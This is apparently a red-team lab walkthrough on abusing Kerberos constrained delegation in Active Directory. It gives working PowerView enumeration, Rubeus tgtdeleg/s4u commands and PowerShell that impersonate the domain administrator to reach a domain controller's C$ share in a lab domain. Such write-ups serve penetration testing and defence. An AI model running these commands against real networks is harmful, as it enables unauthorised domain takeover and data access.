# Kerberos Constrained Delegation

If you have compromised a user account or a computer (machine account) that has kerberos constrained delegation enabled, it's possible to impersonate any domain user (including administrator) and authenticate to a service that the user account is trusted to delegate to.

## User Account <a href="#user-account" id="user-account"></a>

### Prerequisites <a href="#prerequisites" id="prerequisites"></a>

Hunting for user accounts that have kerberos constrained delegation enabled:

```
Get-NetUser -TrustedToAuth
```

In the below screenshot, the user `spot` is allowed to delegate or in other words, impersonate any user and authenticate to a file system service (CIFS) on a domain controller DC01.

User has to have an attribute `TRUSTED_TO_AUTH_FOR_DELEGATION` in order for it to be able to authenticate to the remote service.

> TRUSTED\_TO\_AUTH\_FOR\_DELEGATION - (Windows 2000/Windows Server 2003) The account is enabled for delegation. This is a security-sensitive setting. Accounts that have this option enabled should be tightly controlled. This setting lets a service that runs under the account assume a client's identity and authenticate as that user to other remote servers on the network.
>
> ​<https://support.microsoft.com/en-gb/help/305144/how-to-use-useraccountcontrol-to-manipulate-user-account-properties>​

Attribute `msds-allowedtodelegateto` identifies the SPNs of services the user `spot` is trusted to delegate to (impersonate other domain users) and authenticate to - in this case, it's saying that the user spot is allowed to authenticate to CIFS service on DC01 on behalf of any other domain user:

![](https://gblobscdn.gitbook.com/assets%2F-LFEMnER3fywgFHoroYn%2F-LmUhmRdd-A22BRvuH4d%2F-LmUuqN8vgeYFDytDQEY%2Fimage.png?alt=media\&token=8289e63f-743c-4805-b1d1-a90170a7d9c4)

The `msds-allowedtodelegate` attribute in AD is defined here:

![](https://gblobscdn.gitbook.com/assets%2F-LFEMnER3fywgFHoroYn%2F-LmUhmRdd-A22BRvuH4d%2F-LmUj2nVKcbsVl1DNw-L%2Fimage.png?alt=media\&token=9dc61f85-1f7d-4129-9ad0-f82904946783)

The `TRUSTED_TO_AUTH_FOR_DELEGATION` attribute in AD is defined here:

![](https://gblobscdn.gitbook.com/assets%2F-LFEMnER3fywgFHoroYn%2F-LmUhmRdd-A22BRvuH4d%2F-LmUuvuUvqg5eYSlA6ef%2Fimage.png?alt=media\&token=ecddfc1f-3527-42b4-8948-a4208f270de7)

### Execution <a href="#execution" id="execution"></a>

Assume we've compromised the user `spot` who has the constrained delegation set as described earlier. Let's check that currently we cannot access the file system of the DC01 before we impersonate a domain admin user:

![](https://gblobscdn.gitbook.com/assets%2F-LFEMnER3fywgFHoroYn%2F-LmUhmRdd-A22BRvuH4d%2F-LmUjKwUqJd0QbYGUHxf%2Fimage.png?alt=media\&token=ccbf4e32-8e5b-48d9-9b03-a797aa5a1ded)

Let's now request a delegation TGT for the user spot:

```
\\vboxsvr\tools\Rubeus\Rubeus.exe tgtdeleg
```

![](https://gblobscdn.gitbook.com/assets%2F-LFEMnER3fywgFHoroYn%2F-LmUhmRdd-A22BRvuH4d%2F-LmUlJsFuaNBjB_cFmsM%2Fimage.png?alt=media\&token=65e16a0e-e765-4aef-8d57-52c3db2bd4ea)

Using rubeus, we can now request TGS for [`[email protected]`](https://www.ired.team/cdn-cgi/l/email-protection), who will be allowed to authenticate to `CIFS/dc01.offense.local`:

```
# ticket is the base64 ticket we get with `rubeus's tgtdeleg`Rubeus.exe s4u /ticket:doIFCDCCBQSgAwIBBaEDAgEWooIEDjCCBAphggQGMIIEAqADAgEFoQ8bDU9GRkVOU0UuTE9DQUyiIjAgoAMCAQKhGTAXGwZrcmJ0Z3QbDU9GRkVOU0UuTE9DQUyjggPEMIIDwKADAgESoQMCAQKiggOyBIIDro3ZCHDaVettnJseuyFJMK+Il4GAtWVAHPAq02cnHmOs3R2KcrOWpf3YbtnTD7fB+rKdZ8aElgloJO+v4XVM2NgyOVIia0MzNToDrK1ynhC70aApbag+ykvUFTDeG9NjhE3TVk3+F99vWboy6hhc9AmRUJwHFuqLC4djtL2PtQSpgWWL42W5eONlIZkc5XK0kWkC/AvivuuPOHs9aEy3g38hoBeApZE8NqT7mGKz5JHLwV5TyUgo87s6fFVSn8LHK8CI6G0x2DRhxxu04q0qnRXhLJ5S0MyJgJj6YDVESvCUgep5MXR+OYp0EGdVP8qQJK+x6m4rmr0Y3n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QAApREYDzIwMTkwODE3MTMyMDU2WqYRGA8yMDE5MDgxNzIzMDY0MFqnERgPMjAxOTA4MjQxMzA2NDBaqA8bDU9GRkVOU0UuTE9DQUypIjAgoAMCAQKhGTAXGwZrcmJ0Z3QbDU9GRkVOU0UuTE9DQUw= /impersonateuser:administrator /domain:offense.local /msdsspn:cifs/dc01.offense.local /dc:dc01.offense.local /ptt
```

![](https://gblobscdn.gitbook.com/assets%2F-LFEMnER3fywgFHoroYn%2F-LmUhmRdd-A22BRvuH4d%2F-LmUzEl7ko1gQWHK3KYc%2Fimage.png?alt=media\&token=eb168db2-5a10-4522-9062-f080c1b64fed)

We've got the impersonated TGS tickets for administrator account:

![](https://gblobscdn.gitbook.com/assets%2F-LFEMnER3fywgFHoroYn%2F-LmUhmRdd-A22BRvuH4d%2F-LmUzKj4C1b1v5hycKkf%2Fimage.png?alt=media\&token=864af1bf-4c8e-4b0b-8c3a-0e2fa2c5a0a8)

Which as we can see are now in memory of the current logon session:

![](https://gblobscdn.gitbook.com/assets%2F-LFEMnER3fywgFHoroYn%2F-LmUhmRdd-A22BRvuH4d%2F-LmUzUcQdpvIqtCxAYGC%2Fimage.png?alt=media\&token=8d3c15cb-4153-41f6-ae61-a6f9b0f038d2)

If we now attempt accessing the file system of the DC01 from the user's spot terminal, we can confirm we've successfully impersonated the domain administrator account that can authenticate to the CIFS service on the domain controller DC01:

```
dir \\dc01.offense.local\c$
```

![](https://gblobscdn.gitbook.com/assets%2F-LFEMnER3fywgFHoroYn%2F-LmUhmRdd-A22BRvuH4d%2F-LmUwNck8RXhHhHcSOAQ%2Fimage.png?alt=media\&token=3f21ed35-8473-4e5a-88a1-f0ddf1ef0ea3)

Note that in this case we requested a TGS for the CIFS service, but we could also request additional TGS tickets with rubeus's ~~`/altservice`~~ switch for: HTTP (WinRM), LDAP (DCSync), HOST (PsExec shell), MSSQLSvc (DB admin rights).

## Computer Account <a href="#computer-account" id="computer-account"></a>

If you have compromised a machine account or in other words you have a SYSTEM level privileges on a machine that is configured with constrained delegation, you can assume any identity in the AD domain and authenticate to services that the compromised machine is trusted to delegate to.

In this lab, a workstation WS02 is trusted to delegate to DC01 for CIFS and LDAP services and I am going to exploit the CIFS services this time:

![](https://gblobscdn.gitbook.com/assets%2F-LFEMnER3fywgFHoroYn%2F-LmVP66fGg7JqdxxKL3J%2F-LmVQ2QxEygwna1_gN7H%2Fimage.png?alt=media\&token=bef25e17-b880-4c12-9acc-aeff5c3e1182)

Using powerview, we can find target computers like so:

```
Get-NetComputer ws02 | select name, msds-allowedtodelegateto, useraccountcontrol | flGet-NetComputer ws02 | Select-Object -ExpandProperty msds-allowedtodelegateto | fl
```

![](https://gblobscdn.gitbook.com/assets%2F-LFEMnER3fywgFHoroYn%2F-LmWKHmv5wx8WNlOyYZV%2F-LmWRJz_w33yps83qlND%2Fimage.png?alt=media\&token=49095a8c-6e58-44f2-a3e8-abbe89d147ad)

Let's check that we're currently running as SYSTEM and can't access the C$ on our domain controller DC01:

```
hostname[System.Security.Principal.WindowsIdentity]::GetCurrent() | select namels \\dc01.offense.local\c$
```

![](https://gblobscdn.gitbook.com/assets%2F-LFEMnER3fywgFHoroYn%2F-LmVP66fGg7JqdxxKL3J%2F-LmVQwyg2up-8jH35uo9%2Fimage.png?alt=media\&token=e6e1ebf3-38fd-48d5-be74-70032f68f165)

Let's now impersonate [\[email protected\]](https://www.ired.team/cdn-cgi/l/email-protection) and try again:

```
[Reflection.Assembly]::LoadWithPartialName('System.IdentityModel') | out-null$idToImpersonate = New-Object System.Security.Principal.WindowsIdentity @('administrator')$idToImpersonate.Impersonate()[System.Security.Principal.WindowsIdentity]::GetCurrent() | select name​ls \\dc01.offense.local\c$
```

![](https://gblobscdn.gitbook.com/assets%2F-LFEMnER3fywgFHoroYn%2F-LmVP66fGg7JqdxxKL3J%2F-LmVRLtPPiuCCOwE9W5c%2Fimage.png?alt=media\&token=448aac93-eb90-4108-a5f1-72c6dd705574)

## References <a href="#references" id="references"></a>
